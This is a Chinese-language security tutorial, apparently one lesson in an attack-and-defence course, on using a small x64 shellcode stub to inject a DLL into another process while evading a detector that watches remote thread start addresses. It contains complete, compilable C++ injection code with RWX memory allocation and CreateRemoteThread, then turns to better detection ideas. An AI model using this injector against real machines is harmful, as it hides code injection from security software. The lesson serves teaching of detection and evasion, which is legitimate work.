阅读时间: 3-4 分钟
前置知识: 理解进程注入和防御检测原理、汇编基础
学习目标: 掌握 Shellcode 注入技术,理解攻防对抗思路


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1ktxXzNEVR/


🎯 道高一尺,魔高一丈

防御者的困境

上节课我们学会了检测远程线程注入,核心思路非常简单:抓住线程起始地址 = LoadLibrary 这个特征

但攻防对抗永远是螺旋上升的:

  • ⚔️ 防御者刚亮出检测手段
  • 🛡️ 攻击者已经在思考破解之道

这节课我们切换到攻击者视角,看看如何绕过这个检测。

检测的致命缺陷

让我们冷静分析这个检测方案的弱点:

1
2
3
4
检测逻辑:线程起始地址 == LoadLibrary?

是 → 告警
否 → 放行

问题在哪?

  • ✅ 它只检测了线程的起始地址
  • ❌ 但完全不管线程后续执行了什么

这就像门卫只看你进门时的身份证,却不管你进门后干什么——这个漏洞太大了!


🔓 攻击者的两条破解路径

利用这个缺陷,攻击者有两个清晰的绕过方向:

方向 1:Shellcode 中转(本节重点)

核心思路: 不直接用 LoadLibrary 作为起始地址

1
2
3
4
5
6
7
8
9
传统注入流程:
CreateRemoteThread → LoadLibrary (起始地址) → 加载 DLL

被检测到!

绕过后的流程:
CreateRemoteThread → Shellcode (起始地址) → 调用 LoadLibrary → 加载 DLL
↑ ↑
看起来正常 真正的恶意行为

实现步骤:

  1. 先创建线程指向一段 shellcode(自定义的机器码)
  2. 在 shellcode 中再调用 LoadLibrary
  3. 线程起始地址是普通内存区域,不是 LoadLibrary

方向 2:不创建新线程(后续课程)

核心思路: 完全避开线程创建这个检测点

常见技术:

  • APC 注入:利用现有线程的 APC 队列执行代码
  • 线程上下文劫持:直接修改现有线程的执行指针(RIP/EIP)
  • 线程池劫持:利用系统线程池执行恶意代码

这些方法不创建新线程,因此检测工具根本抓不到”可疑的线程起始地址”。


📚 本节学习重点

这节课我们专注于方向 1:使用 Shellcode 中转,这是理解后续高级技术的基础。


什么是 Shellcode?

Shellcode 是一段可以直接在内存中执行的机器码

核心区别在哪?

正常程序:

  • 双击 program.exe → Windows 加载 PE 文件 → 解析导入表 → 加载 DLL → 跳转入口点
  • 有身份:系统知道它是谁,从哪来
  • 防御软件可以监控这些步骤

Shellcode:

  • 把字节数组写入内存 → 线程直接跳到这个地址执行
  • 无身份:就是一堆字节,系统只知道”这里有代码”
  • 没有文件,没有加载器,没有 PE 格式

这就是为什么 shellcode 能绕过很多检测!


代码实操

原理讲完了
咱们来直接看代码

从 main 函数开始

1
2
3
4
5
6
7
8
9
10
11
int main() {
printf("=== Shellcode 注入 - 绕过线程起始地址检测 ===\n\n");

DWORD targetPid = 42148;
const char* dllPath = "C:\\Injection.dll";

InjectDllWithShellcode(targetPid, dllPath);

system("pause");
return 0;
}

很简单
指定目标进程 PID
指定 DLL 路径
调用注入函数

注入函数四步走

InjectDllWithShellcode 分四步:

  1. 打开目标进程
  2. 准备 shellcode 和参数
  3. 在目标进程分配内存并写入
  4. 创建远程线程执行 shellcode

下面逐步讲解

开始前:准备 Shellcode 机器码

先定义两个东西

参数结构体:

1
2
3
4
struct ShellcodeData {
LPVOID pLoadLibraryA; // LoadLibraryA 函数地址
char dllPath[MAX_PATH]; // DLL 完整路径
};

这个结构体是 Shellcode 的”参数包”
前 8 字节放函数地址
后面放 DLL 路径字符串
Shellcode 会从这里读取需要的信息

Shellcode 字节数组:

1
2
3
4
5
6
7
8
unsigned char g_Shellcode[] = {
0x48, 0x8B, 0x01, // mov rax, [rcx]
0x48, 0x8D, 0x49, 0x08, // lea rcx, [rcx + 8]
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};

重点理解这段机器码:

这些十六进制数字就是 CPU 能直接执行的指令
不需要编译
不需要加载
写进内存就能跑

让我们逐行解释:

第1行: 0x48, 0x8B, 0x01mov rax, [rcx]

  • RCX 寄存器存着参数地址(也就是 ShellcodeData 结构体的地址)
  • 从这个地址读取前 8 个字节(LoadLibraryA 的地址)
  • 放到 RAX 寄存器里

第2行: 0x48, 0x8D, 0x49, 0x08lea rcx, [rcx + 8]

  • 结构体前 8 字节是函数指针
  • 后面才是 DLL 路径字符串
  • 所以 RCX + 8 就指向了 DLL 路径
  • 这个地址会作为参数传给 LoadLibraryA

第3行: 0x48, 0x83, 0xEC, 0x28sub rsp, 0x28

  • 在栈上预留 40 字节
  • x64 调用约定的要求(前4个参数的备份空间 + 对齐)
  • 不分配这个空间会导致调用崩溃

第4行: 0xFF, 0xD0call rax

  • 调用 RAX 里的函数(也就是 LoadLibraryA)
  • 参数 RCX 已经指向了 DLL 路径

第5行: 0x48, 0x83, 0xC4, 0x28add rsp, 0x28

  • 恢复栈指针
  • 释放刚才预留的 40 字节

第6行: 0xC3ret

  • 返回到调用者

核心逻辑:

  1. 从结构体读取 LoadLibraryA 地址 → RAX
  2. 计算 DLL 路径地址 → RCX
  3. 调用 LoadLibraryA(RCX)
  4. 完成 DLL 加载

第一步:打开目标进程

关键 API:OpenProcess

1
2
3
4
5
6
7
BOOL InjectDllWithShellcode(DWORD dwProcessId, const char* dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess) {
printf("打开进程失败\n");
return FALSE;
}
}

第二步:准备参数

关键 API:GetModuleHandleA / GetProcAddress

1
2
3
4
5
6
7
8
// 获取 LoadLibraryA 地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");

// 填充参数结构
ShellcodeData localData = { 0 };
localData.pLoadLibraryA = pLoadLibraryA;
strcpy_s(localData.dllPath, dllPath);

这步做两件事:

  1. 拿到 LoadLibraryA 的地址
  2. 把地址和 DLL 路径塞进结构体

第三步:在目标进程分配内存并写入

需要分配两块内存

3.1 写入 shellcode

关键 API:VirtualAllocEx / WriteProcessMemory

1
2
3
4
5
6
7
8
9
LPVOID pRemoteShellcode = VirtualAllocEx(
hProcess,
NULL,
sizeof(g_Shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // 可执行权限
);

WriteProcessMemory(hProcess, pRemoteShellcode, g_Shellcode, sizeof(g_Shellcode), NULL);

3.2 写入参数

1
2
3
4
5
6
7
8
9
LPVOID pRemoteData = VirtualAllocEx(
hProcess,
NULL,
sizeof(ShellcodeData),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);

WriteProcessMemory(hProcess, pRemoteData, &localData, sizeof(ShellcodeData), NULL);

第一块放代码
第二块放参数


第四步:创建远程线程执行

关键 API:CreateRemoteThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteShellcode, // 起始地址 = shellcode!
pRemoteData, // 参数 = shellcode 数据
0,
NULL
);

if (hThread) {
printf("注入成功!线程起始地址: 0x%p\n", pRemoteShellcode);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}

CloseHandle(hProcess);
return TRUE;

关键在这:

  • 传统方式:我创建远程线程,起始地址直接指向 LoadLibrary,然后 DLL 路径作为参数传进去,一步到位加载 DLL
  • Shellcode 方式:我创建远程线程,起始地址指向 Shellcode,Shellcode 再去调用 LoadLibrary 加载 DLL

防御者检测:起始地址 ≠ LoadLibrary,检测失败!


完整绕过代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <windows.h>
#include <cstdio>
#include <cstring>

/**
* @brief Shellcode 使用的数据结构
* @details 保存 LoadLibraryA 地址和目标 DLL 路径
*/
struct ShellcodeData {
LPVOID pLoadLibraryA; // LoadLibraryA 函数地址
char dllPath[MAX_PATH]; // DLL 文件路径
};

/**
* @brief x64 Shellcode 原始字节
* @details 约定 RCX 指向 ShellcodeData
*/
unsigned char g_Shellcode[] = {
0x48, 0x8B, 0x01, // mov rax, [rcx]
0x48, 0x8D, 0x49, 0x08, // lea rcx, [rcx + 8]
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};

BOOL InjectDllWithShellcode(DWORD dwProcessId, const char* dllPath) {
// 第一步:打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess) {
printf("打开进程失败,错误码: %lu\n", GetLastError());
return FALSE;
}

// 第二步:准备 shellcode
// 2.1 获取 LoadLibraryA 地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");

printf("LoadLibraryA 地址: 0x%p\n", pLoadLibraryA);

// 2.2 准备 shellcode 数据
ShellcodeData localData = {};
localData.pLoadLibraryA = pLoadLibraryA;
strcpy_s(localData.dllPath, dllPath);

// 第三步:在目标进程中分配内存
// 3.1 分配 shellcode 内存
LPVOID pRemoteShellcode = VirtualAllocEx(
hProcess,
NULL,
sizeof(g_Shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // 可执行权限
);

// 3.2 分配参数结构体内存
LPVOID pRemoteData = VirtualAllocEx(
hProcess,
NULL,
sizeof(ShellcodeData),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);

// 检查分配结果
if (!pRemoteShellcode || !pRemoteData) {
printf("分配内存失败\n");
if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
if (pRemoteData) VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// 3.3 写入 shellcode 和参数
BOOL writeSuccess = TRUE;

if (!WriteProcessMemory(hProcess, pRemoteShellcode, g_Shellcode, sizeof(g_Shellcode), NULL)) {
printf("写入 shellcode 失败\n");
writeSuccess = FALSE;
}

if (!WriteProcessMemory(hProcess, pRemoteData, &localData, sizeof(ShellcodeData), NULL)) {
printf("写入参数失败\n");
writeSuccess = FALSE;
}

if (!writeSuccess) {
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

printf("Shellcode 写入地址: 0x%p\n", pRemoteShellcode);
printf("参数写入地址: 0x%p\n", pRemoteData);

// 第四步:创建远程线程执行 shellcode
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(pRemoteShellcode),
pRemoteData,
0,
NULL
);

if (!hThread) {
printf("创建远程线程失败,错误码: %lu\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

printf("\n=== 注入成功 ===\n");
printf("线程入口: 0x%p (触发 LoadLibrary)\n", pRemoteShellcode);
printf("参数地址: 0x%p\n", pRemoteData);
printf("绕过起始地址检测完成!\n");

//等待线程并释放资源
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;
}

int main() {
printf("=== Shellcode 注入 - 绕过线程起始地址检测 ===\n\n");

DWORD targetPid = 0;
printf("请输入目标进程 PID: ");
scanf_s("%lu", &targetPid);

const char* dllPath = "C:\\Injection.dll"; // 根据实际情况修改

InjectDllWithShellcode(targetPid, dllPath);

system("pause");
return 0;
}

绕过效果验证

运行 Shellcode 注入程序并同时运行防御者的检测程序:

绕过检测效果

成功绕过! 如图所示:

  • 左侧:Shellcode 注入程序成功运行,DLL 注入成功并弹出提示框
  • 右侧:检测程序正在扫描线程,但所有线程的起始地址都显示 [正常]
  • 即使 DLL 已成功注入,检测程序也无法识别可疑线程,成功绕过了检测!

对比传统注入:

1
2
传统注入:  线程 ID: 9999 起始地址: 0x76a41234 [可疑!] → 被检测到
Shellcode: 线程 ID: 9999 起始地址: 0x02A50000 [正常] → 绕过成功

但是,问题来了!

仔细观察会发现:依然出现了一个新线程!

这暴露了检测逻辑的致命弱点:

只检测 LoadLibrary 地址是片面的。真正的问题不是”起始地址是不是 LoadLibrary”,而是:

  • 为什么会突然出现新线程?
  • 谁创建了这个线程?
  • 正常程序会频繁创建远程线程吗?

**更好的检测思路:**直接检测可疑的新线程,不管起始地址是什么!


绕过的优缺点

优势:

  • ✅ 成功绕过基于起始地址的检测
  • ✅ 灵活性高,shellcode 可以做任何事

劣势:

  • ❌ 实现复杂,需要编写汇编
  • ❌ 本质没变,依然创建远程线程

防御者的反思

攻击者成功绕过了起始地址检测,但防御者不会就此放弃。

反思:

  • 为什么只检测 LoadLibrary 地址?
  • 难道攻击者换个地址我就检测不到了?
  • 应该检测的是”远程线程”本身,而不是起始地址!

新的检测方向:

  • 检测可疑的新线程
  • 分析线程的创建者
  • 检测线程的行为

下节课,我们将站在防御者角度,学习如何直接检测可疑线程!


互动讨论

欢迎在评论区讨论以下问题:

  1. 除了 Shellcode,你还能想到哪些方式绕过线程起始地址检测?
  2. 如果你是防御者,现在如何改进检测方案?
  3. 攻防对抗的本质是什么?

⚠️ 本课程内容仅供防御性安全研究与教学使用,请勿用于非法用途。